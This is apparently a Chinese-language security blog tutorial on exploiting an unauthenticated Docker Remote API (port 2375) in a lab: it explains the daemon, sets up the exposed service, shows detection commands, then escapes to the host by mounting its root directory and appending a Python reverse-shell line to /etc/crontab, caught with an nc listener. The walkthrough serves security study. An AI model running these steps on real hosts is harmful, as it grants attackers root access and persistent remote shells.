云安全攻防(八)之 Docker Remote API 未授权访问逃逸

Docker Remote API 未授权访问逃逸

基础知识

Docker Remote API 是一个取代远程命令行界面(rcli)的REST API,其默认绑定2375端口,如管理员对其配置不当可导致未授权访问漏洞。攻击者利用 docker client 或者 http 直接请求就可以访问这个 API,可导致敏感信息泄露,甚至可进一步利用Docker自身特性,借助容器逃逸,最终完全控制宿主服务器

Docker daemon 是 Docker 引擎的后台进程,也称为 Dockerd。它是一个长时间运行的进程,负责管理 Docker 镜像、容器、网络和存储等各种资源,并提供一个 API 以供 Docker 客户端进行交互

当您在 Docker 主机上使用 Docker 命令时(例如 docker run),Docker 客户端将向 Docker daemon 发送命令请求,并通过 Docker API 进行通信。Docker daemon 接收并解析这些请求,并在其内部管理对象存储中创建、修改或删除相应的 Docker 资源。随后,Docker daemon 将响应结果发送回客户端,然后等待下一个命令请求

另外,Docker daemon 也负责监视 Docker 主机上正在运行的容器和服务,以及处理与 Docker 网络和存储相关的操作。它还可以与其他 Docker daemon 进行通信,以实现跨主机的镜像和容器管理。总之,Docker daemon 是整个 Docker 引擎的核心组件,负责实现 Docker 的各种功能,并将其暴露给用户和其他程序使用

环境搭建

首先我们执行如下的代码将 docker 守护进程监听在 0.0.0.0

bash 复制代码
dockerd -H=0.0.0.0:2375 -H unix:///var/run/docker.sock
  • -H=0.0.0.0:2375:指定 Docker daemon 监听的 TCP 端点地址和端口号。0.0.0.0 表示绑定到任何可用网络接口上,即允许从其他主机上的容器或者计算机上运行的 Docker 客户端连接。2375 是 Dockerdaemon 监听的端口号
  • -H unix:///var/run/docker.sock:指定 Docker daemon 监听的 Unix 域套接字路径,即 /var/run/docker.sock

​ 运行这个命令,Docker daemon 将同时监听 TCP 端点和 Unix 域套接字,并且没有安全保护

执行后出现上面错误是由于当前环境docker已经在运行中了,需要先停止docker

bash 复制代码
systemctl stop docker

在执行下面的命令

bash 复制代码
dockerd -H=0.0.0.0:2375 -H unix:///var/run/docker.sock

通过攻击机查看靶机所安装的镜像

bash 复制代码
docker -H tcp://IP:2375 images

漏洞检测

访问 http 请求 curl 192.168.41.132:2375/info,如果返回内容含有DockerRootDir等字符,则证明存在docker未授权访问漏洞

bash 复制代码
curl 192.168.41.132:2375/info | grep DockerRootDir

或者输入如下的命令

bash 复制代码
IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && wget http://$IP:2375

如果返回 404 说明漏洞存在

漏洞复现

攻击机运行以下的命令查看对方的容器

bash 复制代码
docker -H tcp://<target>:2375 ps -a

新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下,此时修改/mnt/etc/crontab相当于修改/etc/crontab文件

bash 复制代码
docker -H tcp://192.168.41.132:2375 run -it -v /:/mnt nginx:latest /bin/bash

在容器内执行命令,将反弹shell的脚本写入到/etc/crontab文件

bash 复制代码
echo -e "* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.41.132\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /mnt/etc/crontab

在攻击开启监听

bash 复制代码
nc -lvvp 8888

等待一分钟过后,攻击机收到反弹shell

相关推荐
土星云SaturnCloud5 小时前
土星云AI边缘计算SE110S系列模型部署实战-YOLOv5
服务器·人工智能·yolo·docker·边缘计算
张忠琳5 小时前
【SR-IOV cni】(Part 4) SR-IOV Network Device Plugin 3.11.0 — 超深度架构分析
网络·云原生·kubernetes·cni·sriov
qq_452396235 小时前
第二十篇:《Docker 故障排查常用命令与技巧》
运维·docker·容器
乐迪信息5 小时前
乐迪信息:AI算法盒子实时识别船舶烟雾与火焰异常
大数据·人工智能·算法·安全·目标跟踪
Qiuner5 小时前
Pico 重塑Agent时代人与数据交互方式
windows·docker·ai·架构
汤愈韬6 小时前
IPSec-NAT穿越原理和配置
网络·网络协议·安全·网络安全·security
木雷坞7 小时前
6月 Docker 国内镜像源配置:daemon.json、/v2/ 连通性和 pull 验证
docker·eureka·json
JoyCong19987 小时前
ToDesk AI 正式登场:您的智能远程助手,积分新玩法科普
人工智能·安全·电脑·远程工作·远程操作
大方子8 小时前
【PolarCTF】导航栏
网络安全·polarctf
vortex59 小时前
AI Skill 设计:网络安全审计中的自主性与规范化博弈
人工智能·安全·web安全